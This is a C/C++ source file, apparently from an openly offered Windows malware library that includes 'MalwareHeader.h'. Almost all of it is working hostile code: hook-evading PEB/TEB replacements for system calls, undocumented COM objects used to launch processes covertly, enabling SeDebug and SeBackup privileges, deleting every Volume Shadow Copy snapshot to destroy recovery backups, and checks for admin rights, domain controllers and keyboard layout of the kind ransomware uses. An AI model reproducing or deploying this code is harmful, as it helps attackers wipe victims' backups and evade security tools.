#pragma once
#include "MalwareHeader.h"

#pragma region "Random String Generation"

PWCHAR GeneratePseudoRandomStringW(SIZE_T dwLength)
{
	WCHAR DataSet[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	PWCHAR String = NULL;

	String = (PWCHAR)RtlHeapAllocForward((sizeof(WCHAR) * (dwLength + 1)));
	if (String == NULL)
		return NULL;

#pragma warning (push)
#pragma warning (disable: 4018)
	for (INT dwN = 0; dwN < dwLength; dwN++)
	{
		INT Key = PseudoRandomInteger() % (INT)(StringLengthW(DataSet) - 1);
		String[dwN] = DataSet[Key];
	}
#pragma warning (pop)

#pragma warning (push)
#pragma warning (disable: 6386)
	String[dwLength] = '\0';
#pragma warning (pop)

	return String;
}

PCHAR GeneratePseudoRandomStringA(SIZE_T dwLength)
{
	CHAR DataSet[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	PCHAR String = NULL;

	String = (PCHAR)RtlHeapAllocForward((sizeof(CHAR) * (dwLength + 1)));
	if (String == NULL)
		return NULL;

#pragma warning (push)
#pragma warning (disable: 4018)
	for (INT dwN = 0; dwN < dwLength; dwN++)
	{
		INT Key = PseudoRandomInteger() % (INT)(StringLengthA(DataSet) - 1);
		String[dwN] = DataSet[Key];
	}
#pragma warning (pop)

#pragma warning (push)
#pragma warning (disable: 6386)
	String[dwLength] = '\0';
#pragma warning (pop)

	return String;
}
#pragma endregion

#pragma region "Is Path Valid"
BOOL IsPathValidA(PCHAR FilePath)
{
	HANDLE hFile = INVALID_HANDLE_VALUE;

	hFile = CreateFileA(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return FALSE;

	if (hFile)
		RtlCloseHandleForward(hFile);

	return TRUE;
}

BOOL IsPathValidW(PWCHAR FilePath)
{
	HANDLE hFile = INVALID_HANDLE_VALUE;

	hFile = CreateFileW(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return FALSE;

	if (hFile)
		RtlCloseHandleForward(hFile);

	return TRUE;
}

#pragma endregion

#pragma region "Delete File Alternative"

BOOL DeleteFileAltA(PCHAR Path)
{
	HANDLE hHandle = INVALID_HANDLE_VALUE;

	if (Path == NULL)
		return FALSE;

	if (!IsPathValidA(Path))
		return FALSE;

	hHandle = CreateFileA(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
	if (hHandle == INVALID_HANDLE_VALUE)
		return FALSE;

	RtlCloseHandleForward(hHandle);

	return TRUE;
}

BOOL DeleteFileAltW(PWCHAR Path)
{
	HANDLE hHandle = INVALID_HANDLE_VALUE;

	if (Path == NULL)
		return FALSE;

	if (!IsPathValidW(Path))
		return FALSE;

	hHandle = CreateFileW(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
	if (hHandle == INVALID_HANDLE_VALUE)
		return FALSE;

	RtlCloseHandleForward(hHandle);

	return TRUE;
}

#pragma endregion

#pragma region "Error Handling Functions"

DWORD GetLastErrorAlt(VOID)
{
	return GetTeb()->LastErrorValue;
}

NTSTATUS GetLastNtStatusAlt(VOID)
{
	return GetTeb()->LastStatusValue;
}

VOID SetLastErrorAlt(DWORD ErrorCode)
{
	GetTeb()->LastErrorValue = ErrorCode;
}

VOID SetLastNtStatusAlt(NTSTATUS Status)
{
	GetTeb()->LastStatusValue = Status;
}

DWORD Win32FromHResult(HRESULT Result)
{
	if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
		return HRESULT_CODE(Result);

	if (Result == S_OK)
		return ERROR_SUCCESS;

	return ERROR_CAN_NOT_COMPLETE;
}
#pragma endregion

#pragma region "Get Current Directory"

DWORD GetCurrentDirectoryAltA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);

	if (ProcessParameters->CurrentDirectory.DosPath.Length > nBufferLength)
		return ERROR_FAILURE_RETURN;

	return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->CurrentDirectory.DosPath.Buffer, ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
}

DWORD GetCurrentDirectoryAltW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);

	if (ProcessParameters->CurrentDirectory.DosPath.Length > nBufferLength)
		return ERROR_FAILURE_RETURN;

	if (StringCopyW(lpBuffer, ProcessParameters->CurrentDirectory.DosPath.Buffer) == NULL)
		return ERROR_FAILURE_RETURN;

	return ProcessParameters->CurrentDirectory.DosPath.Length;
}
#pragma endregion

#pragma region "Process Identification"
HANDLE GetCurrentProcessAlt(VOID)
{
	return (HANDLE)((HANDLE)-1);
}

DWORD GetCurrentProcessIdAlt(VOID)
{
	return HandleToUlong(GetTeb()->ClientId.UniqueProcess);
}

HANDLE GetCurrentThreadAlt(VOID)
{
	return ((HANDLE)(LONG_PTR)-2);
}

#pragma endregion

#pragma region "Get Current Window Text Alternative"
DWORD GetCurrentWindowTextAltA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);

	if (nBufferLength < ProcessParameters->WindowTitle.Length)
		return ERROR_FAILURE_RETURN;

	return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->WindowTitle.Buffer, ProcessParameters->WindowTitle.MaximumLength);
}

DWORD GetCurrentWindowTextAltW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);

	if (nBufferLength < ProcessParameters->WindowTitle.Length)
		return ERROR_FAILURE_RETURN;

	if (StringCopyW(lpBuffer, ProcessParameters->WindowTitle.Buffer) == NULL)
		return ERROR_FAILURE_RETURN;

	return ProcessParameters->WindowTitle.Length;
}
#pragma endregion

#pragma region "Get File Path"
DWORD GetInMemoryModulePathFromProcessParametersA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);

	if (nBufferLength < ProcessParameters->ImagePathName.Length)
		return ERROR_FAILURE_RETURN;

	return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->ImagePathName.Buffer, ProcessParameters->ImagePathName.MaximumLength);
}

DWORD GetInMemoryModulePathFromProcessParametersW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);

	if (nBufferLength < ProcessParameters->ImagePathName.Length)
		return ERROR_FAILURE_RETURN;

	if (StringCopyW(lpBuffer, ProcessParameters->ImagePathName.Buffer) == NULL)
		return ERROR_FAILURE_RETURN;

	return ProcessParameters->ImagePathName.Length;
}

DWORD GetInMemoryModulePathFromLoaderLoadModuleA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
	PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
	PLDR_MODULE Module = NULL;
	Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);

	if (nBufferLength < Module->FullDllName.Length)
		return ERROR_FAILURE_RETURN;

	return (DWORD)WCharStringToCharString(lpBuffer, Module->FullDllName.Buffer, Module->FullDllName.MaximumLength);
}

DWORD GetInMemoryModulePathFromLoaderLoadModuleW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
	PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
	PLDR_MODULE Module = NULL;
	Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);

	if(nBufferLength < Module->FullDllName.Length)
		return ERROR_FAILURE_RETURN;

	if (StringCopyW(lpBuffer, Module->FullDllName.Buffer) == NULL)
		return ERROR_FAILURE_RETURN;

	return Module->FullDllName.Length;
}

#pragma endregion

#pragma region "Get Windows Directory Alternative"

BOOL GetSystemWindowsDirectoryAltA(DWORD nBufferLength, PCHAR lpBuffer)
{
	PKUSER_SHARED_DATA SharedData = GetKUserSharedData();

	if (nBufferLength < StringLengthW(SharedData->NtSystemRoot))
		return FALSE;

	if (WCharStringToCharString(lpBuffer, SharedData->NtSystemRoot, nBufferLength) != 0)
		return TRUE;
	else
		return FALSE;
}

BOOL GetSystemWindowsDirectoryAltW(DWORD nBufferLength, PWCHAR lpBuffer)
{
	PKUSER_SHARED_DATA SharedData = GetKUserSharedData();

	if (nBufferLength < StringLengthW(SharedData->NtSystemRoot))
		return FALSE;

	if (StringCopyW(lpBuffer, SharedData->NtSystemRoot) == NULL)
		return FALSE;

	return TRUE;
}
#pragma endregion

#pragma region "Create Process Alternatives by COM"
struct __declspec(uuid("8cec595b-07a1-11d9-b15e-000d56bfe6ee"))
	IHxInteractiveUser : public IUnknown {
	virtual VOID __stdcall Execute(PWCHAR pcUrl) = 0;
};

struct __declspec(uuid("{8cec592c-07a1-11d9-b15e-000d56bfe6ee}"))
	IHxHelpPaneServer : public IUnknown {
	virtual HRESULT __stdcall DisplayTask(PWCHAR) = 0;
	virtual HRESULT __stdcall DisplayContents(PWCHAR) = 0;
	virtual HRESULT __stdcall DisplaySearchResults(PWCHAR) = 0;
	virtual HRESULT __stdcall Execute(const PWCHAR) = 0;
};

HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid)
{
	HRESULT Result = S_OK;

	if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
		return Result;

	if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
		return Result;

	return Result;
}

HRESULT CoInitializeIHxInteractiveUserIds(LPGUID Clsid, LPGUID Iid)
{
	HRESULT Result = S_OK;

	if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58e7-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
		return Result;

	if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec595b-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
		return Result;

	return Result;
}

HRESULT CreateProcessFromIHxInteractiveUserW(PWCHAR UriFile)
{
	HRESULT Result = S_OK;
	GUID CLSID_IHxInteractiveUser;
	GUID IID_IHxInteractiveUser;
	IHxInteractiveUser* User = NULL;

	if(!SUCCEEDED(Result = CoInitializeIHxInteractiveUserIds(&CLSID_IHxInteractiveUser, &IID_IHxInteractiveUser)))
		return Win32FromHResult(Result);

	if (!SUCCEEDED(Result = CoInitializeEx(NULL, COINIT_MULTITHREADED)))
		return Win32FromHResult(Result);

	if (!SUCCEEDED(Result = CoCreateInstance(CLSID_IHxInteractiveUser, NULL, CLSCTX_ALL, IID_IHxInteractiveUser, (PVOID*)&User)))
		return Win32FromHResult(Result);

	User->Execute(UriFile);

	if (User)
		User->Release();

	CoUninitialize();

	return Win32FromHResult(Result);
}

HRESULT CreateProcessFromIHxHelpPaneServerW(PWCHAR UriFile)
{
	HRESULT Result = S_OK;
	GUID CLSID_IHxHelpPaneServer;
	GUID IID_IHxHelpPaneServer;

	IHxHelpPaneServer* Help = NULL;

	if (!SUCCEEDED(Result = CoInitializeIHxHelpIds(&CLSID_IHxHelpPaneServer, &IID_IHxHelpPaneServer)))
		return Win32FromHResult(Result);

	if (!SUCCEEDED(Result = CoInitializeEx(NULL, COINIT_MULTITHREADED)))
		return Win32FromHResult(Result);

	if (!SUCCEEDED(CoCreateInstance(CLSID_IHxHelpPaneServer, NULL, CLSCTX_ALL, IID_IHxHelpPaneServer, (PVOID*)&Help)))
		return Win32FromHResult(Result);

	Result = Help->Execute(UriFile);

	if (Help)
		Help->Release();

	CoUninitialize();

	return Win32FromHResult(Result);
}

#pragma endregion

#pragma region "Get Environment Variable From Current User"
DWORD GetEnvironmentVariableAltW(LPCWSTR Name, LPWSTR Buffer, DWORD Size, BOOL UseAlt)
{
	UNICODE_STRING uString; RtlZeroMemory(&uString, sizeof(UNICODE_STRING));
	UNICODE_STRING Variable; RtlZeroMemory(&Variable, sizeof(UNICODE_STRING));
	DWORD Token[1] = { 61 };
	LPWSTR String = NULL;
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)(UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
	LPWSTR Environment = (LPWSTR)ProcessParameters->Environment;
	LPWSTR lpszPtr = (LPWSTR)Environment;
	PWCHAR Pointer;

	BOOL bFlag = FALSE;

	String = (LPWSTR)RtlHeapAllocForward(sizeof(WCHAR) * 2);
	if (String == NULL)
		goto EXIT_ROUTINE;

	DecimalToAsciiW(String, Token, 1);

	Name = CaplockStringW((PWCHAR)Name);
	if (Name == NULL)
		goto EXIT_ROUTINE;

	RtlInitUnicodeString(&Variable, (PWCHAR)Name);

	while (*lpszPtr)
	{
		DWORD dwVariableHash = 0;
		DWORD dwPointerHash = 0;
		lpszPtr += StringLengthW(lpszPtr) + 1;
		Pointer = StringTokenW(lpszPtr, String);
		if (Pointer == NULL)
			goto EXIT_ROUTINE;

		Pointer = CaplockStringW((PWCHAR)Pointer);

		dwVariableHash = HashStringDjb2W(Variable.Buffer);
		dwPointerHash = HashStringDjb2W(lpszPtr);

		if (dwVariableHash == dwPointerHash)
		{
			lpszPtr += StringLengthW(lpszPtr) + 1;
			Pointer = StringTokenW(lpszPtr, String);
			if (Pointer == NULL)
				goto EXIT_ROUTINE;

			RtlInitUnicodeString(&uString, Pointer);
			break;
		}

	}

	if (StringCopyW(Buffer, uString.Buffer) == NULL)
		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (String)
		RtlHeapFreeForward(String);

	return (bFlag == TRUE ? uString.Length : 0);
}

DWORD GetEnvironmentVariableAltA(LPCSTR Name, LPSTR Buffer, DWORD Size, BOOL UseAlt)
{
	UNICODE_STRING uString; RtlZeroMemory(&uString, sizeof(UNICODE_STRING));
	UNICODE_STRING Variable; RtlZeroMemory(&Variable, sizeof(UNICODE_STRING));
	DWORD Token[1] = { 61 };
	LPWSTR String = NULL;
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)(UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
	LPWSTR Environment = (LPWSTR)ProcessParameters->Environment;
	LPWSTR lpszPtr = (LPWSTR)Environment;
	PWCHAR Pointer;
	PWCHAR pwName = NULL;

	BOOL bFlag = FALSE;

	String = (LPWSTR)RtlHeapAllocForward(sizeof(WCHAR) * 2);
	if (String == NULL)
		goto EXIT_ROUTINE;

	pwName = (LPWSTR)RtlHeapAllocForward(256);
	if (pwName == NULL)
		goto EXIT_ROUTINE;

	if (CharStringToWCharString(pwName, (PCHAR)Name, 256) == 0)
		goto EXIT_ROUTINE;

	DecimalToAsciiW(String, Token, 1);

	pwName = CaplockStringW((PWCHAR)pwName);
	if (Name == NULL)
		goto EXIT_ROUTINE;

	RtlInitUnicodeString(&Variable, (PWCHAR)pwName);

	while (*lpszPtr)
	{
		DWORD dwVariableHash = 0;
		DWORD dwPointerHash = 0;
		lpszPtr += StringLengthW(lpszPtr) + 1;
		Pointer = StringTokenW(lpszPtr, String);
		if (Pointer == NULL)
			goto EXIT_ROUTINE;

		Pointer = CaplockStringW((PWCHAR)Pointer);

		dwVariableHash = HashStringDjb2W(Variable.Buffer);
		dwPointerHash = HashStringDjb2W(lpszPtr);

		if (dwVariableHash == dwPointerHash)
		{
			lpszPtr += StringLengthW(lpszPtr) + 1;
			Pointer = StringTokenW(lpszPtr, String);
			if (Pointer == NULL)
				goto EXIT_ROUTINE;

			RtlInitUnicodeString(&uString, Pointer);
			break;
		}

	}

	if (WCharStringToCharString(Buffer, uString.Buffer, uString.MaximumLength) == 0)
		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (pwName)
		RtlHeapFreeForward(pwName);

	if (String)
		RtlHeapFreeForward(String);

	return (bFlag == TRUE ? uString.Length : 0);
}


#pragma endregion

#pragma region "Set Process Tokens"
BOOL SetProcessPrivilegeToken(DWORD PrivilegeEnum)
{
	HANDLE Process = GetCurrentProcessAlt();
	HANDLE Token = INVALID_HANDLE_VALUE;
	TOKEN_PRIVILEGES Privileges = { 0 };
	DWORD TokenLength = 0;
	LUID LocalId = { 0 };
	BOOL bFlag = FALSE;
	WCHAR PrivilegeString[256] = { 0 };

	if (!OpenProcessToken(Process, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token))
		return FALSE;

	switch (PrivilegeEnum)
	{
		case MW_SEDEBUG_PRIVILEGE:
		{
			StringCopyW(PrivilegeString, (PWCHAR)L"SeDebugPrivilege");
			break;
		}
		case MW_SEBACKUP_PRIVILEGE:
		{
			StringCopyW(PrivilegeString, (PWCHAR)L"SeBackupPrivilege");
			break;
		}
		default:
			goto EXIT_ROUTINE;
	}

	if (LookupPrivilegeValueW(NULL, PrivilegeString, &LocalId))
	{
		Privileges.Privileges[0].Luid = LocalId;
		Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		Privileges.PrivilegeCount = 1;

		if (!AdjustTokenPrivileges(Token, FALSE, &Privileges, 0, NULL, &TokenLength))
			goto EXIT_ROUTINE;

	}

	bFlag = TRUE;

EXIT_ROUTINE:

	if (Token)
		RtlCloseHandleForward(Token);

	return bFlag;
}
#pragma endregion

#pragma region "Shadow Volumes Functionality"
HRESULT ComDisableGlobalSeh(VOID)
{
	HRESULT Result = S_OK;
	IGlobalOptions* GlobalOptions;

#pragma warning( push )
#pragma warning( disable : 6387)
	Result = CoCreateInstance(CLSID_GlobalOptions, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&GlobalOptions));
#pragma warning( pop )
	if (!SUCCEEDED(Result))
		goto EXIT_ROUTINE;

	Result = GlobalOptions->Set(COMGLB_EXCEPTION_HANDLING, COMGLB_EXCEPTION_DONOT_HANDLE);

	GlobalOptions->Release();

EXIT_ROUTINE:

	return Result;
}

DWORD InitializeComWithSecurityContextDefault(BOOL DisableSeh)
{
	HRESULT Result = S_OK;

	Result = CoInitializeEx(NULL, 0);
	if (!SUCCEEDED(Result))
		goto EXIT_ROUTINE;

	Result = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IDENTIFY, NULL, EOAC_NONE, NULL);
	if (!SUCCEEDED(Result))
		goto EXIT_ROUTINE;

	if (DisableSeh)
		Result = ComDisableGlobalSeh();

EXIT_ROUTINE:

	return Win32FromHResult(Result);
}

DWORD ComVssDeleteShadowVolumeBackups(BOOL CoUninitializeAfterCompletion)
{
	HRESULT Result = S_OK;
	IVssCoordinator* VssCoordinator = NULL;
	VSS_OBJECT_PROP* Snapshots = NULL;
	IVssEnumObject* EnumObject = NULL;
	LONG NumberOfSnapshots = 0;
	ULONG Objects = 16, Retrieved = 0;
	PWCHAR ShadowCopySetId = NULL, ShadowCopyId = NULL;

	if (InitializeComWithSecurityContextDefault(TRUE) != ERROR_SUCCESS)
		goto EXIT_ROUTINE;

	if (!SetProcessPrivilegeToken(MW_SEBACKUP_PRIVILEGE))
		return FALSE;

#pragma warning( push )
#pragma warning( disable : 6387)
	if (!SUCCEEDED(Result = CoCreateInstance(CLSID_CVssCoordinator, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&VssCoordinator))))
		goto EXIT_ROUTINE;
#pragma warning( pop )

	if (!SUCCEEDED(Result = VssCoordinator->SetContext(-1)))
		goto EXIT_ROUTINE;

	if (!SUCCEEDED(Result = VssCoordinator->Query(GUID_NULL, VSS_OBJECT_NONE, VSS_OBJECT_SNAPSHOT, &EnumObject)))
		goto EXIT_ROUTINE;

	Snapshots = (VSS_OBJECT_PROP*)RtlHeapAllocForward((sizeof(VSS_OBJECT_PROP) * Objects));
	if (Snapshots == NULL)
		goto EXIT_ROUTINE;

	if (!SUCCEEDED(Result = EnumObject->Next(Objects, Snapshots, (PULONG)&NumberOfSnapshots)))
		goto EXIT_ROUTINE;

	ShadowCopySetId = (PWCHAR)RtlHeapAllocForward((32 * sizeof(WCHAR)));
	if (ShadowCopySetId == NULL)
		goto EXIT_ROUTINE;

	ShadowCopyId = (PWCHAR)RtlHeapAllocForward((32 * sizeof(WCHAR)));
	if (ShadowCopyId == NULL)
		goto EXIT_ROUTINE;

	while (NumberOfSnapshots--)
	{
		VSS_OBJECT_PROP Element = Snapshots[NumberOfSnapshots];
		LONG Dispose = 0;
		GUID SnapshotDipose = { 0 };
		if (Element.Type != VSS_OBJECT_SNAPSHOT)
			continue;

		RtlZeroMemory(ShadowCopyId, (32 * sizeof(WCHAR)));
		RtlZeroMemory(ShadowCopySetId, (32 * sizeof(WCHAR)));

		if (StringFromGUID2(Element.Obj.Snap.m_SnapshotId, ShadowCopyId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
			continue;

		if (StringFromGUID2(Element.Obj.Snap.m_SnapshotSetId, ShadowCopySetId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
			continue;

		VssCoordinator->DeleteSnapshots(Element.Obj.Snap.m_SnapshotId, VSS_OBJECT_SNAPSHOT, 1, &Dispose, &SnapshotDipose);
	}


EXIT_ROUTINE:

	if (ShadowCopyId)
		RtlHeapFreeForward(ShadowCopyId);

	if (ShadowCopySetId)
		RtlHeapFreeForward(ShadowCopySetId);

	if (EnumObject)
		EnumObject->Release();

	if (VssCoordinator)
		VssCoordinator->Release();

	if (CoUninitializeAfterCompletion)
		CoUninitialize();

	return Win32FromHResult(Result);
}

#pragma endregion

#pragma region "Is Process Running As Admin"
BOOL IsProcessRunningAsAdmin(VOID)
{
	HANDLE hToken = NULL;
	TOKEN_ELEVATION Elevation = { 0 };
	DWORD dwSize = 0;
	BOOL bFlag = FALSE;

	if (!OpenProcessToken(GetCurrentProcessAlt(), TOKEN_QUERY, &hToken))
		goto EXIT_ROUTINE;

	if (!GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize))
		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (!bFlag)
		SetLastErrorAlt(ERROR_ACCESS_DENIED);

	if (hToken)
		RtlCloseHandleForward(hToken);

	return (bFlag ? Elevation.TokenIsElevated : FALSE);
}
#pragma endregion

#pragma region "OS Version Information"

DWORD GetOSIdentificationData(DWORD Id, BOOL UseAlt)
{
	PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());

	switch (Id)
	{
		case OSMAJORVERSION:
			return Peb->OSMajorVersion;

		case OSMINORVERSION:
			return Peb->OSMinorVersion;

		case OSBUILDNUMBER:
			return Peb->OSBuildNumber;

		case OSPLATFORMID:
			return Peb->OSPlatformId;

		default:
			return ERROR_FAILURE_RETURN;

	}

	return ERROR_FAILURE_RETURN;
}

#pragma endregion

#pragma region "In Memory Module Enumeration"

DWORD GetLinkedDllCount(STRING_HASH_VARIANTS Variant, BOOL UseAlt)
{
	PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
	PLDR_MODULE Module = NULL;
	DWORD dwIndexHash = 0;
	DWORD dwCount = 0;

	Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);

	dwIndexHash = HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer);

	for (; TRUE; dwCount++)
	{
		Module = (PLDR_MODULE)((PBYTE)Module->InMemoryOrderModuleList.Flink - 16);
		if (Module->BaseDllName.Buffer != NULL)
		{
			if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwIndexHash)
				break;
		}
	}

	return dwCount;
}

BOOL IsDllLinkedToModule(STRING_HASH_VARIANTS Variant, DWORD dwHash, BOOL UseAlt)
{
	PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
	PLDR_MODULE Module = NULL;
	DWORD dwIndexHash = 0;
	DWORD dwCount = 0;
	BOOL bFlag = FALSE;

	Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);

	dwIndexHash = HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer);

	for (; TRUE; dwCount++)
	{
		Module = (PLDR_MODULE)((PBYTE)Module->InMemoryOrderModuleList.Flink - 16);
		if (Module->BaseDllName.Buffer != NULL)
		{
			if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwIndexHash)
				break;

			if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwHash)
				bFlag = TRUE;
		}
	}

	return bFlag;
}

#pragma endregion

#pragma region "Get Keyboard Layout"

BOOL GetKeyBoardLayoutInformation(PDWORD LanguageIdentifierForInputLanguage, PHANDLE DeviceHandleToPhysicalLayout)
{
	DWORD dwError = ERROR_SUCCESS;
	HKL KeyboardLayout = NULL;

	KeyboardLayout = GetKeyboardLayout(ERROR_SUCCESS);
	if (KeyboardLayout == NULL)
		return FALSE;

	*DeviceHandleToPhysicalLayout = (HANDLE)HIWORD(KeyboardLayout);
	*LanguageIdentifierForInputLanguage = LOWORD(KeyboardLayout);

	return TRUE;
}

#pragma endregion

#pragma region "Is Domain Controller"

DWORD DsRoleIsDomainController(PBOOL IsDomainController)
{
	typedef enum _DSROLE_PRIMARY_DOMAIN_INFO_LEVEL {
		DsRolePrimaryDomainInfoBasic = 1,
		DsRoleUpgradeStatus,
		DsRoleOperationState
	} DSROLE_PRIMARY_DOMAIN_INFO_LEVEL;

	typedef enum _DSROLE_MACHINE_ROLE {
		DsRole_RoleStandaloneWorkstation,
		DsRole_RoleMemberWorkstation,
		DsRole_RoleStandaloneServer,
		DsRole_RoleMemberServer,
		DsRole_RoleBackupDomainController,
		DsRole_RolePrimaryDomainController
	} DSROLE_MACHINE_ROLE;

	typedef struct _DSROLE_PRIMARY_DOMAIN_INFO_BASIC {
		DSROLE_MACHINE_ROLE MachineRole;
		ULONG               Flags;
		LPWSTR              DomainNameFlat;
		LPWSTR              DomainNameDns;
		LPWSTR              DomainForestName;
		GUID                DomainGuid;
	} DSROLE_PRIMARY_DOMAIN_INFO_BASIC, * PDSROLE_PRIMARY_DOMAIN_INFO_BASIC;

	typedef DWORD(WINAPI* DSROLEGETPRIMARYDOMAININFORMATION)(LPCWSTR, DSROLE_PRIMARY_DOMAIN_INFO_LEVEL, PDSROLE_PRIMARY_DOMAIN_INFO_BASIC);
	typedef VOID(WINAPI* DSROLEFREEMEMORY)(PVOID);

	HMODULE hLibrary = NULL;
	DSROLEGETPRIMARYDOMAININFORMATION DsRoleGetPrimaryDomainInformation = NULL;
	DSROLEFREEMEMORY DsRoleFreeMemory = NULL;
	PDSROLE_PRIMARY_DOMAIN_INFO_BASIC Buffer = 0;
	DWORD dwError = ERROR_SUCCESS;
	*IsDomainController = FALSE;

	hLibrary = LoadLibraryW(L"Netapi32.dll");
	if (hLibrary == NULL)
		goto EXIT_ROUTINE;

	DsRoleGetPrimaryDomainInformation = (DSROLEGETPRIMARYDOMAININFORMATION)GetProcAddress(hLibrary, "DsRoleGetPrimaryDomainInformation");
	DsRoleFreeMemory = (DSROLEFREEMEMORY)GetProcAddress(hLibrary, "DsRoleFreeMemory");

	if (!DsRoleGetPrimaryDomainInformation || !DsRoleFreeMemory)
		goto EXIT_ROUTINE;

	if (DsRoleGetPrimaryDomainInformation(0, DsRolePrimaryDomainInfoBasic, Buffer) != ERROR_SUCCESS)
		goto EXIT_ROUTINE;

	if (Buffer != NULL)
	{
		if (Buffer->MachineRole == DsRole_RolePrimaryDomainController)
			*IsDomainController = TRUE;
	}
		
EXIT_ROUTINE:

	dwError = GetLastError();

	if (hLibrary)
		FreeLibrary(hLibrary);

	if (Buffer)
		DsRoleFreeMemory(&Buffer);

	return dwError;
}
#pragma endregion